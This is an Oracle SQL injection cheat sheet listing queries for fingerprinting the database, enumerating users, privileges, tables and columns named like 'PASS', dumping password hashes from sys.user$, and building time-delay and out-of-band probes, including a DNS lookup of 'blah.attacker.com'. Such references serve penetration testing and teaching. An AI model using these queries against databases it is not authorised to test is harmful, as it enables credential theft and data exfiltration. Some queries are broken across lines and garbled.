

### Version

```
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';  
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';  
SELECT version FROM v$instance;
```

### Comments

```
SELECT 1 FROM dual — comment
```

– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.

### Current User

```
SELECT user FROM dual
```

### List Users

```
SELECT username FROM all_users ORDER BY username;  
SELECT name FROM sys.user$; — priv
```

### List Password Hashes

```
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g  
SELECT name, spare4 FROM sys.user$ — priv, 11g
```

### List Privileges

```
SELECT * FROM session_privs; — current privs  
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; —  
priv, list a user's privs  
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT  
ANY DICTIONARY'; — priv, find users with a particular priv  
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
```

### Location of DB files

```
SELECT name FROM V$DATAFILE;
```

### Avoiding Quotes

```
SELECT chr(65) || chr(66) FROM dual; — returns AB
```

### Hostname, IP Address

```
SELECT UTL_INADDR.get_host_name FROM dual;  
SELECT host_name FROM v$instance;  
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP  
address  
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; —  
gets hostnames
```

### Time Delay

```
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can't seem to embed  
this in a SELECT  
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; — if  
reverse looks are slow  
SELECT UTL_INADDR.get_host_address('blah.attacker.com')  
FROM dual; — if forward lookups are slow  
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; —  
if outbound TCP is filtered / slow
```

### Case Statement

```
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; —  
returns 1  
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; —  
returns 2
```

### Make DNS Requests

```
SELECT UTL_INADDR.get_host_address('google.com') FROM dual;  
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
```

### String Concatenation

```
SELECT 'A' || 'B' FROM dual; — returns AB
```

### Current Database

```
SELECT global_name FROM global_name;  
SELECT name FROM v$database;  
SELECT instance_name FROM v$instance;  
SELECT SYS.DATABASE_NAME FROM DUAL;
```

### List Databases

```
SELECT DISTINCT owner FROM all_tables; — list schemas (one  
per user) – Also query TNS listener for other databases. See tnscmd  
(services | status).
```

### List Columns

```
SELECT column_name FROM all_tab_columns WHERE  
table_name = 'blah';  
SELECT column_name FROM all_tab_columns WHERE  
table_name = 'blah' and owner = 'foo';
```

### Bitwise AND

```
SELECT bitand(6,2) FROM dual; — returns 2  
SELECT bitand(6,1) FROM dual; — returns 0
```



### If Statement

```
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0);  
END IF; END; — doesn't play well with SELECT statements
```

### List DBA Accounts

```
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_  
OPTION = 'YES'; — priv, list DBAs, DBA roles
```

### Select Nth Row

```
SELECT username FROM (SELECT ROWNUM r, username FROM  
all_users ORDER BY username) WHERE r=9; — gets 9th row (rows  
numbered from 1)
```

### List Tables

```
SELECT table_name FROM all_tables;  
SELECT owner, table_name FROM all_tables;
```

### Find Tables From Column Name

```
SELECT owner, table_name FROM all_tab_columns WHERE column_  
_name LIKE '%PASS%'; — NB: table names are upper case
```

### Select Nth Char

```
SELECT substr('abcd', 3, 1) FROM dual; — gets 3rd character, 'c'
```

### ASCII Value -> Char

```
SELECT chr(65) FROM dual; — returns A
```

### Casting

```
SELECT CAST(1 AS char) FROM dual;  
SELECT CAST('1' AS int) FROM dual;
```

### Char -> ASCII Value

```
SELECT ascii('A') FROM dual; — returns 65
```



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